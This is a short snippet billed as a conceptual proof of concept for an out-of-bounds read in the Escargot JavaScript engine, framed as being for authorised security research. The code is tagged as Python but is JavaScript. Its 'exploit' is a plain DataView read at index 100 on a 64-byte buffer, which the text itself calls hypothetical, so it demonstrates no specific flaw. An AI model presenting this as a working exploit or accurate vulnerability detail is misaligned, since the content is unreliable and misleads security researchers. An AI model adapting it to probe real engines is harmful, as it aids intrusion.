The following code is for security research and authorized testing only.
python
// Conceptual PoC for Out-of-bounds read in Escargot
// This script attempts to read beyond the allocated array boundaries
function trigger_oob_read() {
// Allocate a buffer
var buffer = new ArrayBuffer(64);
var view = new DataView(buffer);
// Initialize buffer with known data
for (var i = 0; i < 64; i++) {
view.setUint8(i, 0x41);
}
// The vulnerability allows reading beyond the buffer size
// Attempting to read at index 100 (Out-of-bounds)
try {
// Hypothetical vulnerable API call
var leaked = view.getUint8(100);
console.log("Leaked byte: 0x" + leaked.toString(16));
} catch (e) {
console.log("Error: " + e.message);
}
}
trigger_oob_read();